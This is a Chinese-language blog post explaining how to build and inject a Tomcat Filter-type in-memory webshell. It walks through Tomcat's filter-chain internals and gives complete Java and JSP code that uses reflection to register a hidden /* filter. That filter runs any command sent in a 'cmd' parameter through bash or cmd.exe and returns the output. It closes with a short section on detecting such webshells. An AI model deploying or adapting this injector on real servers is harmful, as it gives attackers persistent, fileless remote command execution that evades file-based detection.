初探Tomcat内存马

一直都在听各位师傅讨论内存马,原本孤陋寡闻只知道一句话以及不死马。这几天终于开始学习内存马,不得不说确实很难啃,先做个总结吧。

什么是内存马

内存马即是无文件马,只存在于内存中。我们知道常见的WebShell都是有一个页面文件存在于服务器上,然而内存马则不会存在文件形式。

落地的JSP文件十分容易被设备给检测到,从而得到攻击路径,从而删除webshell以及修补漏洞,内存马也很好的解决了这个问题

0x01 Tomcat 简介

Servlet

Servlet 是一种处理请求和发送响应的程序

Tomcat 与 Servlet 的关系

Tomcat 是 Web 应用服务器,是一个 Servlet/JSP 容器,Tomcat 作为 Servlet 的容器,能够将用户的请求发送给 Servlet,并且将 Servlet 的响应返回给用户,Tomcat中有四种类型的Servlet容器,从上到下分别是 Engine、Host、Context、Wrappe

  1. Engine,实现类为 org.apache.catalina.core.StandardEngine
  2. Host,实现类为 org.apache.catalina.core.StandardHost
  3. Context,实现类为 org.apache.catalina.core.StandardContext
  4. Wrapper,实现类为 org.apache.catalina.core.StandardWrapper
    每个Wrapper实例表示一个具体的Servlet定义,StandardWrapper是Wrapper接口的标准实现类(StandardWrapper 的主要任务就是载入Servlet类并且进行实例化)

Tomcat 容器

在 Tomcat 中,每个 Host 下可以有多个 Context , 每个 Context 都代表一个具体的Web应用,都有一个唯一的路径就相当于下图中的 /shop 或者/manager 这种,在一个 Context 下可以有着多个 Wrapper

Wrapper 主要负责管理 Servlet ,包括的 Servlet 的装载、初始化、执行等行为

图片

图片

个人理解就是,在Tomcat服务器作用下有多个Host,Host可以看做是单独的网站,每个Host也有多个Context,Context可以看做是网站里的应用,而每个Context也有多个Wrapper,Wrapper可以看做是每个应用的功能,最后每个Wrapper都有一个Servlet,Servlet就是这个功能具体的实现。

具体参考:https://www.cnblogs.com/nice0e3/p/14622879.html

0x02 内存马简单介绍

内存马主要分为以下几类:

servlet-api类

  • filter型

  • servlet型
    spring类

  • 拦截器

  • controller型
    Java Instrumentation类

  • agent型
    这里只记录filter类型的。

学过基本的javaweb都知道,在javaweb的三大件分别是Servlet,Filter和Listener。我们可以通过自定义过滤器来做到对用户的一些请求进行拦截修改等操作

在一般情况下,用户在客户端发送请求给服务器,服务器经过处理后并不是直接转发给Servlet,而是先通过Filter或者多个Filter(也就是Filter链)进行过滤或者其他操作,才会转接到Servlet

图片

具体过程如上图所示,我们的请求会通过filter最终才会到达servlet,如果我们能够在程序运行阶段创建一个filter并能让他触发(一般是放在filter链的第一个),我们的filter就会触发。当我们在其添加恶意代码时,就可以满足我们的执行命令需求,这样就成了一个内存马

以上部分是我抽取了自认为比较重要的部分,剔除了其他比较冗杂的知识。但总体而言整个过程应该如下:

首先我们在tomcat的解析流程中,我们先了解到的是Connector,它又被称作为连接器,真正起到作用是Connector内部的ProtocolHandler处理器,这个ProtocolHandler处理器封装用户发起的网络请求所对应的Request对象,和当内部处理完返回过来的Response对象。

那么当Connector的ProtocolHandler处理器封装完Request对象之后,就会发送给Container,这个Container容器则是负责封装和管理Servlet和处理用户的servlet请求,这里所谓的Servlet请求其实就是处理Request对象,在处理请求中,起作用的角色则是Container中的Pipeline-Value管道来处理的,当Pipeline-Value处理完之后,接着就会看到一个FilterChain对象,这个对象肯定都很熟悉,因为在学习Servlet的时候是经常出现的,比如我们想要对传进来的数据先做一定的处理,然后再到Servlet对象中进行处理,这里都会用到这个FilterChain对象,最后转接到Filter

所以我们的目标很明确了,想办法动态注册一个filter,然后将其放在filter链的首位。

0x03 Tomcat Filter 流程分析

注入Filter马之前,先了解下正常Filter是怎么运行的

先自己写一个filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class Demo implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("Filter init");
    }



    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        response.setCharacterEncoding("utf-8");
        request.setCharacterEncoding("utf-8");
        response.setContentType("text/html;Charset=UTF-8");
        System.out.println("接收到了请求,并且马上进行过滤");
        chain.doFilter(request, response); //chain.doFilter将请求转发给过滤器链下一个filter,如果没有filter那就是转发给Servlet,你需要请求的资源
        System.out.println("过滤完了");
    }



    @Override
    public void destroy() {
        System.out.println("WOW Filter destroy");
    }
}

Servlet实现的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
public class MyServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        System.out.println("我是doGet方法");
        resp.getWriter().print("success");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}

这里可以用web.xml注册下,也可以直接用注解。为了后续方便,这里添加web.xml,设置url-pattern为 /demo 即访问 /demo 才会触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">

<filter>
<filter-name>Demo</filter-name>
<filter-class>Demo</filter-class>
</filter>

<filter-mapping>
<filter-name>Demo</filter-name>
<url-pattern>/demo</url-pattern>
</filter-mapping>

</web-app>

结果如下,可以看到是 过滤器先接收到请求,然后再转发给Servlet,然后Servlet走了之后又回到过滤器中再之后doFilter之后的内容
图片

上面了解了关于Filter对象的学习,那么其实内存马也差不多了解了,就是对一个Filter接口实现的对象

先实现一个简单的Filter对象的命令执行的效果

首先那么就是在接口中进行对数据的传入进行判断,对于特殊的字段进行判断,比如”cmd”,”command”类似的headers来进行判断,这种实现了之后,我们还需要进行全局过滤,就是任何一个路径都需要进行过滤,所以在Servlet中实现的时候,映射的Mapping也需要是为/*这种形式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class DemoFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        if (request.getParameter("cmd") != null){
            Process exec = Runtime.getRuntime().exec(request.getParameter("cmd"));
            InputStream inputStream = exec.getInputStream();
            Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
            String output = scanner.hasNext() ? scanner.next() : "";
            response.getWriter().write(output);
            response.getWriter().flush();
        }
        System.out.println("过滤器调用完毕,开始转发给Servlet...");
        chain.doFilter(request,response);

    }

    @Override
    public void destroy() {

    }
}

访问输入命令即可运行并且回显在页面上
上面是关于过滤链,那么对于内存马的实现,首先得明白一点,在实战环境下,你不可能写一个Filter对象然后又放到对方的代码中,这样子不就早getshell了

所以对于内存马,我们是需要找到一个注入点,动态的在内存中创建一个Filter对象

0x04 Filter型内存马注入

知识点1:ServletContext

web应用启动的时候,都会产生一个ServletContext为接口的对象,因为在web中这个ServletContext对象的一些数据能够保证Servlets稳定运行

那么该对象如何获得?

在tomcat容器中ServletContext的实现类是ApplicationContext类

在web应用中,获取的ServletContext实际上是ApplicationContextFacade的对象,对ApplicationContext进行了封装,而ApplicationContext实例中又包含了StandardContext实例,所以说我们在tomcat中拿到StandardContext则是去获取ApplicationContextFacade这个对象。

我们这里通过一个ServletContext servletContext = this.getServletContext();来进行观察这个servletContext是不是我们上面所说的ApplicationContextFacade这个对象

图片

图片

我们可以看到这个名为ApplicationContextFacade类,到这里可以说明Tomcat的ServletContext对象确实是ApplicationContextFacade对象

调试具体流程前,了解下可能会遇到的一些类

FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息

FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息

FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern

FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter

WebXml:存放 web.xml 中内容的类

ContextConfig:Web应用的上下文配置类

StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper

StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet

ok,现在开始分析下Tomcat是怎么调用我们自定义的filter。

知识点2:组装Filters的流程

这调试tomcat的话,需要注意的记得把tomcat下的lib文件导入到idea工程中,要不然idea在调试的时候是找不到的

找到ApplicationFilterChain对象中,internalDoFilter方法上打上断点

图片

继续跟,可以看到这个internalDoFilter方法获取到了我们所实现的MemoryFilter对象

图片

图片

internalDoFilter方法中接着又会开始调用MemoryFilter对象中实现的doFilter方法

图片

接着就是来到了我们所实现的doFilter的方法,也就是我们执行命令的方法

图片

这里为什么下断点会下在ApplicationFilterChain对象中的internalDoFilter呢

首先来看ApplicationFilterChain对象是什么,这个其实就是调用Filter对象的调度类,就是专门拿来调用所有实现的Filter对象的doFilter方法,其中的internalDoFilter就是去调用我们Filter对象中实现的doFilter方法的一个手段

ApplicationFilterChain这个对象又是哪来的呢?我们可以从调用栈中进行观察,下面的图中可以看到StandardWrapperValve这个类中的invoke方法来进行调用的

图片

来到这个StandardWrapperValve的调用栈invoke方法中,可以看到是通过doFilter来进行调用

图片

在StandardWrapperValve类的invoke中,往上拉,其中可以看到这里的filterChain为ApplicationFilterChain的实例化,到这里就可以思考下,上面说到的filterChain.doFilter的filterChain,原来filterChain属性是通过ApplicationFilterFactory.createFilterChain这个方法所获得的,这里继续跟到createFilterChain方法中进行查看

图片

跟进createFilterChain的方法中,它会获取一个StandardContext对象(这个就是我们先引入的知识点1),通过这个对象的findFilterMaps方法来获得所有需要调用的Filter对象,获得到的Filter对象都会放到一个filterMaps的FilterMap数组中去,可以看到当前获得的就两个Filter,其中一个是tomcat默认的,还有个就是我们自己实现的MemoryFilter对象,filterMaps中的 filterMap 主要存放了过滤器的名字以及作用的 url,继续往下看

图片

发现会遍历 FilterMaps 中的 FilterMap(每个FilterMap都包含了每个Filter的相关信息),每次拿到一个FilterMap对象就是通过判断会调用 findFilterConfig 方法在 filterConfigs 中寻找对应 filterName名称的 FilterConfig,然后如果不为null,就进入 if 判断,将 filterConfig 添加到 filterChain中,而这里的filterChain属性就是外面的这个ApplicationFilterChain对象,到这里要调用的每个Filter对象都拼装好了,全部都放入了ApplicationFilterChain对象,ApplicationFilterChain这个对象我们上面也讲过,是一个调度类,专门调用每个Filter的doFilter方法。

跟进addFilter函数

图片

在addFilter函数中首先会遍历filters,然后针对filter进行去重

下面这个 if 判断其实就是扩容,如果 n 已经等于当前 filters 的长度了就再添加10个容量,最后将我们的filterConfig 添加到 filters中

图片

至此 filterChain 组装完毕,重新回到 StandardContextValue 中,调用 filterChain 的 doFilter 方法 ,就会依次调用 Filter 链上的 doFilter方法

图片

在 doFilter 方法中会调用 internalDoFilter方法

图片

在internalDoFilter方法中首先会依次从 filters 中取出 filterConfig

知识点3:FilterConfig

现在已经知道了ApplicationFilterChain这个对象的由来和它的作用,我们继续整理下,先是经过一系列的处理最后拿到了ApplicationFilterChain这个对象,这个对象中包含了每个Filter的相关配置信息,最后则开始调用其中的doFilter方法

继续来看createFilterChain方法帮我们做的事情,它实现的Filter的添加,createFilterChain这个方法返回的filterChain最终会被进行调用,那么我们如果能实现在filterChain进行插入的话,那是不是我们就成功的实现了添加自定义的Filter对象?

答案是的,那需要如何实现?回到这个createFilterChain方法中,我们可以看下如下,每次成功添加一个filterConfig则意味着Filter对象的成功被添加进去

图片

这个FilterConfig对象中包含着如下属性

图片

该对象有三个重要的属性,一个是ServletContext,一个是filter,一个是filterDef

FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息

filterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息

filterMaps:一个存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern

那么想要实现一个完整的filterConfig,那么也就是需要这三个,一个是ServletContext,一个是filter,一个是filterDef

这里我们第一步为什么要先获取ServletContext对象,原因就是想要获取filterConfigs就需要通过ServletContext来获取

做个总结

  1. 根据请求的 url 从 FilterMaps 中找出与之 url 对应的 Filter 名称
  2. 根据 Filter 名称去 FilterConfigs 中寻找对应名称的 FilterConfig
  3. 找到对应的 FilterConfig 之后添加到 FilterChain中,并且返回 FilterChain
  4. filterChain 中调用 internalDoFilter 遍历获取 chain 中的 FilterConfig ,然后从 FilterConfig 中获取 Filter,然后调用 Filter 的 doFilter 方法
    根据上面的简单总结,可以发现最开始是从 context 中获取的 FilterMaps,将符合条件的依次按照顺序进行调用,那么我们可以将自己创建的一个 FilterMap 然后将其放在 FilterMaps 的最前面,这样当 urlpattern 匹配的时候就回去找到对应 FilterName 的 FilterConfig ,然后添加到 FilterChain 中,最终触发我们的内存马

之前分析流程的时候,我们知道FiltersMaps是从context中获取的。

图片

那很明显了,我们要先获得这个context,这里看大佬的笔记是先从request获取,将servletcontext转为standardcontext从而获取context

ps:当 Web 容器启动的时候会为每个 Web 应用都创建一个 ServletContext 对象,代表当前 Web 应用

1
2
3
4
5
6
7
8
9
10
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
// ApplicationContext 为 ServletContext 的实现类
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
// 这样我们就获取到了 context
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

其他获取的方法比如从线程获取等,但还没去看,先放一放
大致流程如下:

  1. 创建一个恶意 Filter
  2. 利用 FilterDef 对 Filter 进行一个封装
  3. 将 FilterDef 添加到 FilterDefs 和 FilterConfig
  4. 创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)
    每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
public class InjectMemoryServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        Field Configs = null;
        Map filterConfigs;
        try {
            //这里是反射获取ApplicationContext的context,也就是standardContext
            ServletContext servletContext = req.getSession().getServletContext();

            Field appctx = servletContext.getClass().getDeclaredField("context");
            appctx.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

            Field stdctx = applicationContext.getClass().getDeclaredField("context");
            stdctx.setAccessible(true);
            StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

            String FilterName = "cmd_Filter";
            Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            filterConfigs = (Map) Configs.get(standardContext);

            if (filterConfigs.get(FilterName) == null){
                Filter filter = new Filter() {

                    @Override
                    public void init(FilterConfig filterConfig) throws ServletException {

                    }

                    @Override
                    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                        HttpServletRequest req = (HttpServletRequest) servletRequest;
                        if (req.getParameter("cmd") != null){

                            InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
                            Scanner s = new Scanner(in).useDelimiter("\\A");
                            String output = s.hasNext() ? s.next() : "";
                            servletResponse.getWriter().write(output);

                            return;
                        }
                        filterChain.doFilter(servletRequest,servletResponse);
                    }

                    @Override
                    public void destroy() {

                    }
                };
                //反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
                Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
                Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
                FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef)declaredConstructors.newInstance();
                o.setFilter(filter);
                o.setFilterName(FilterName);
                o.setFilterClass(filter.getClass().getName());
                standardContext.addFilterDef(o);
                //反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
                Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
                org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance();

                o1.addURLPattern("/*");
                o1.setFilterName(FilterName);
                o1.setDispatcher(DispatcherType.REQUEST.name());
                standardContext.addFilterMapBefore(o1);

                //反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
                Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
                Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
                declaredConstructor1.setAccessible(true);
                ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
                filterConfigs.put(FilterName,filterConfig);
                resp.getWriter().write("Success");
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}

这里的javax.servlet.DispatcherType 类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3,该方法只支持Tomcat7.x以上

1
filterMap.setDispatcher(DispatcherType.REQUEST.name());

最终内存马是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
final String name = "test;
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {

}

};



FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

standardContext.addFilterMapBefore(filterMap);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>

开启服务,访问该内存马显示成功,随后?cmd=command便能执行我们的命令(这里是linux平台,可以做一点修改)
这里举个例子,先判断系统,再对命令执行的细节进行修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();

0x05 排查内存马的几个方法

要排查的前提是先识别出,所以要思考下内存马有什么特征

  1. 名字
    内存马的Filter名一般比较特别,有shell或者随机数等关键字。这个因素并不一定完全正确,因为这取决于内存马的构造者的习惯,构造完全可以设置一个看起来很正常。

  2. filter优先级是第一位
    为了确保内存马在各种环境下都可以访问,往往需要把filter匹配优先级调至最高,这在shiro反序列化中是刚需。但其他场景下就非必须,只能做一个可疑点。

  3. 对比web.xml中没有filter配置
    内存马的Filter是动态注册的,所以在web.xml中肯定没有配置,这也是个可以的特征。但servlet 3.0引入了@WebFilter标签方便开发这动态注册Filter。这种情况也存在没有在web.xml中显式声明,这个特征可以作为较强的特征。

  4. 特殊classloader加载
    我们都知道Filter也是class,也是必定有特定的classloader加载。一般来说,正常的Filter都是由中间件的WebappClassLoader加载的。反序列化漏洞喜欢利用TemplatesImpl和bcel执行任意代码。所以这些class往往就是以下这两个:

  • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader
  • com.sun.org.apache.bcel.internal.util.ClassLoader
    这个同Filter名一样,只是作为一个可以参考的因素来决定,不一定完全正确,攻击者也可以完全绕过这两个类来进行构造